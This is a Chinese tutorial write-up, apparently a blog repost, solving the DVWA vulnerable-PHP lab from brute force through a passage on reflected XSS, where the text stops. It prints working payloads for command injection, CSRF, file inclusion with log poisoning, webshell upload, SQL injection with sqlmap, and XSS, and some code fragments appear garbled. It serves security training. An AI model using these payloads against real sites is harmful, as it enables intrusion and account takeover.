【WEB安全】PHP靶场实战分析——DVWA

文章目录

  • 前言
  • 一、实战前的准备:
    • 1.dvwa靶场安装
    • 2.代码审计工具介绍
      • 2.1.seay代码审计工具的介绍
      • 2.2.rips 审计工具介绍
  • 二、DVWA通关讲解
    • 1. brute force 暴力破解
      • low:
      • Medium:
      • High:
      • impossible:
    • 2. Command Injection(命令行注入)
      • low:
      • Medium:
      • High:
    • 3. CSRF(跨站请求伪造)
      • low:
      • Medium:
      • High:
    • 4. File Inclusion(文件包含)
      • low:
      • Medium:
      • High:
      • impossible:
    • 5. File Upload(文件上传)
      • low:
      • Medium:
      • High:
      • impossible:
    • 6. Insecure CAPTCHA (不安全的验证码)
      • low:
      • Medium:
      • High:
      • impossible:
    • 7. SQL Injection(SQL注入)
      • low:
      • Medium:
      • High:
      • impossible:
    • 8. SQL Injection(Blind)(SQL盲注)
      • low:
      • Medium:
      • High:
      • impossible:
    • 9. Weak Session IDs (脆弱的Session ID)
      • low:
      • Medium:
      • High:
      • impossible:
    • 10. XSS(DOM) (DOM型XSS)
      • low:
      • Medium:
      • High:
      • impossible:
    • 11. XSS(Reflected)(反射型跨站脚本)
      • low:
      • Medium:
      • High:
      • impossible:
    • 12. XSS(Stored)(存储型跨站脚本)
      • low:
      • Medium:
      • High:
      • impossible:
    • 13. (CSP) Bypass
      • low:
      • Medium:
      • High:
      • impossible:
    • 14. JavaScript Attacks(js攻击)
      • low:
      • Medium:
      • High:
  • 总结


前言

本文章包含了DVWA靶场四个难度的详细解析,具体如下!


提示:以下是本篇文章正文内容,下面案例可供参考

一、实战前的准备:

1.dvwa靶场安装

不做过多解释,具体安装方法不会请百度。
1 修改配置文件
2 登录
3 修改php配置

2.代码审计工具介绍

2.1.seay代码审计工具的介绍

敏感参数回溯的方法

2.2.rips 审计工具介绍

可以实现跨文件的变量和函数追踪 误报率很低
rips审计工具的测试
path/file:待扫描代码的文件地址;
subdirs:是否对代码的子目录进行扫描,勾选将会扫描子目录,不勾选只扫描当前目录下的PHP文件;
verbosity level:选择source点,即可控制的输入点,定义在rips下config/sources.php中;
vuln type:选择sink点,即可能会触发各种风险的函数,定义在rips下config/sinks.php中;
scan:选择好前面的选项,点击该按钮即可开始扫描;
code style:扫描结果的展示方式;
/regex/:要搜索内容的正则表达式;
search:根据正则表达式对全局代码进行搜索;

二、DVWA通关讲解

1. brute force 暴力破解

了解dvwa目录结构

low:

SELECT * FROM ·users · WHERE user = '123123' AND password = 'f5bb0c8de146c67b44babbf4e6584cc0';

可进行爆破和注入绕过admin’ or '1

Medium:

mysqli_real_escape_string()将’转义为
只能使用burp进行爆破

High:

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//stripslashes()删除由 addslashes 函数添加的 反斜杠
//mysqli_real_escape_string()将'转义为\

自己实现工具
● 拿到token在源码里
● 提交数据包

GET/vulnerabilities/brute/?username=admin&password=§123123123§&Login=Login&user_token=0cd9bfa9b6cf84c8276ea6ae61c3f8d0

impossible:

输错三次封禁15分钟!
实现方法:
写到数据库封禁时间

2. Command Injection(命令行注入)

命令连接符:
command1 && command2
&&表示先执行command1,执行成功后执行command 2,否则不执行command 2
command1 & command2
$表示先执行command 1,不管是否成功,都会执行command 2
command1 || command2
||表示先执行command1,执行失败后,执行command2
command1 | command2
|表示将command 1的输出作为command 2的输入,只打印command 2执行的结果。

low:

stristr(php_uname('s'),'Windows NT')//查找字符串 判断系统是否为win或linux

构造代码直接写入一句话

127.0.0.1 | echo "" >> 321321.php

Medium:

过滤不完整,只是把&&和;替换为空;
127.0.0.1&;&net user

High:

过滤有缺陷
【WEB安全】PHP靶场实战分析——DVWA_第1张图片

127.0.0.1|net user
127.0.0.1 |net user
impossible:
将ip进行分割然后在拼接,并判断是否为数字。

3. CSRF(跨站请求伪造)

low:

GET型没有进行任何csrf验证
构造代码

<img src="098.jpg" width=300px />
<img src="http://www.z.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change" width=0 />

Medium:

//stripos(源文本,要查找的文本)寻找文本首次出现位置 不存在返回false存在返回字符位置
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false

验证http请求包的referer是否存在自己
自己构造referer就行

High:

//开发中, 这种已经防 csrf

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );//验证took

搭配xss
dom 反射不推荐,浏览器过滤严格
推荐使用存储型xss
ajax 不能跨域
结合 DOM型 XSS来

http://www.z.com/vulnerabilities/xss_d/?default=English#

4. File Inclusion(文件包含)

low:

未做任何过滤
http://www.xxx.com/vulnerabilities/fi/?page=php://input post提交数据

 phpinfo(); ?>

Medium:

将接收的参数进行部分过滤http://或https和…/或…"替换为空

$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
page=htthttp://p://www.a.com/1.txt
page=http://www.xxx.com/vulnerabilities/fi/?page=php://input

或者post数据提交直接写入小马之后包含然后菜刀连接

 $f=fopen("222.txt","w");fwrite($f,"?>);?>

High:

只允许file开头的文件
fnmatch( “file*”, $file )

php伪协议:
● file:// — 访问本地文件系统
● http:// — 访问 HTTP(s) 网址
● ftp:// — 访问 FTP(s) URLs
● php:// — 访问各个输入/输出流(I/O streams)
● zlib:// — 压缩流
● data:// — 数据(RFC 2397)
● glob:// — 查找匹配的文件路径模式
● phar:// — PHP 归档
● ssh2:// — Secure Shell 2
● rar:// — RAR
● ogg:// — 音频流
● expect:// — 处理交互式的流

http://www.xxx.com/vulnerabilities/fi/page=xxx.php
报错会爆出绝对路径
D:\wamp\www\www.z.com\vulnerabilities\fi\index.php
推断日志目录
D:/wamp/logs/access.log
匹配file开头
file://D:/wamp/logs/access.log
包含日志成功拿到shell

impossible:

白名单写死

$file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php"

5. File Upload(文件上传)

low:

没有做任何检查,直接上传即可!

Medium:

只验证了文件类型和大小,抓包修改文件名或类型即可!
php5.3.4版本一下还可以使用文件名%00截断,其他版本使用burp进行url编码即可实现截断

$uploaded_type == "image/jpeg" || $uploaded_type == "image/png"
$uploaded_size < 100000

High:

取图片头部验证是否为图片

getimagesize( $uploaded_tmp )

cmd合成图片马即可

copy 1.jpg/b+1.php/a hack.jpg

采用%00截断的方法可以轻松绕过文件名的检查,采用刚才的图片一句话进行上传。(适用于php小于 5.3.4 版本)
或者利用文件包含漏洞

impossible:

图像重组技术

6. Insecure CAPTCHA (不安全的验证码)

和逻辑漏洞相似

low:

传入参数step=2&password_new=123123&password_conf=123123&Change=Change中
step可控,源代码中step为2可跳过第一步验证直接修改密码!

Medium:

验证了如下参数是否存在

$_POST[ 'passed_captcha' ]

提交表单时把此参数添加进去即可!

High:

验证验证码时用的或,所以只需要满足后面的条件,即可绕过验证码修改密码。

$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'

http_user_agent=user_agent
修改user_agent为reCAPTCHA,然后在添加 即可。

impossible:

前三关全都可以用csrf绕过
写死验证码,为空就不允许通过。

7. SQL Injection(SQL注入)

low:

未进行任何过滤,sqlmap直接开始。

Medium:

过滤类型错误,应使用数字型过滤

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

直接1 or 1=1
sqlma post注入方式:

sqlmap.py -u "http://www.xxx.com/search.php" --data "search=a"
sqlmap.py -r post.txt 

High:

用了302跳转防止sqlmap,手工注入还是可以的。

impossible:

检查took
判断是否为数字

is_numeric( $id )

用pdo形式处理

8. SQL Injection(Blind)(SQL盲注)

下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
类似布尔注入
● 判断是否存在注入,注入是字符型还是数字型
● 猜解当前数据库名
● 猜解数据库中的表名
● 猜解表中的字段名
● 猜解数据

low:

未进行任何过滤
1’ and 1=1 #返回正常
1’ and length(database())=1

Medium:

过滤类型错误基本过滤无效,应使用数字型过滤

mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id )

and 1=1
and 1=2
sqlmap直接开始

High:

典型的cookie注入

setcookie( 'id', $_POST[ 'id' ]);

sqlmap绕过302跳转:
在第二次请求包的cookie中添加id=1*;参数即可扫描

sqlmap.py -u "http://www.XXX.com/search.php" --cookie "id=1*;phpsession=XXXXXX"

impossible:

验证token,判断id是否为数字没法写字符串,使用pdo预处理操作

9. Weak Session IDs (脆弱的Session ID)

简单介绍:
SessionID密码与证书等认证手段,一般仅仅用于登录(Login)的过程。当登陆完成后,用户访问网站的页面,不可能每次浏览器请求页面时,都再使用密码认证一次。因此,当认证完成后,就需要替换一个对用户透明的凭证。这个凭证就是SessionID。
SessionID是在登录后,作为特定用户访问站点所需的唯一内容。如果能够计算或轻易猜到该SessionID,则攻击者将可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如XSS、文件上传等等。

low:

寻找session规律发现每次+1

last_session_id

Medium:

根据眼下数字推断他是时间戳

$cookie_value = time();

High:

根据眼下字符串推断是md5加密后的数据

md5($_SESSION['last_session_id_high']);

解密多次后发现也是每次+1

impossible:

sha1强加密,随机数+时间戳+字符串!

sha1(mt_rand() . time() . "Impossible");

10. XSS(DOM) (DOM型XSS)

DOM:
代码 -> 浏览器(js)
可能触发 DOM 型 XSS 的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
js函数防止url编码:
decodeURI(url解码函数)

low:

decodeURI对输入的内容进行URL解码导致代码执行,网址后面加JavaScript代码


<script>alert(1)script>

根据特定情况闭合

Medium:

过滤,使用标签

stripos ($default, ") !== false

或者使用锚点形式绕过php过滤,php不接收#后面的参数,前端接收

?xxx=11111#<script>alert(1)script>

或者使用&号将参数连接起来php,无法接收未定义参数,前端将会接收

?xxx=11111&xxx=<script>alert(/xss/)script>

High:

接收default只能是固定参数
所以有两种方法绕过

?xxx=11111#<script>alert(1)script>
?xxx=11111&xxx=<script>alert(/xss/)script>

impossible:

js强过滤保护,未使用decodeURI函数自动转码,导致js不执行!

11. XSS(Reflected)(反射型跨站脚本)

代码 -> 后端 -> 浏览器(js)

low:

后端未进行任何过滤,直接xss就可以

<script>alert(1)script>

Medium:

你可能感兴趣的:(php,安全,web安全)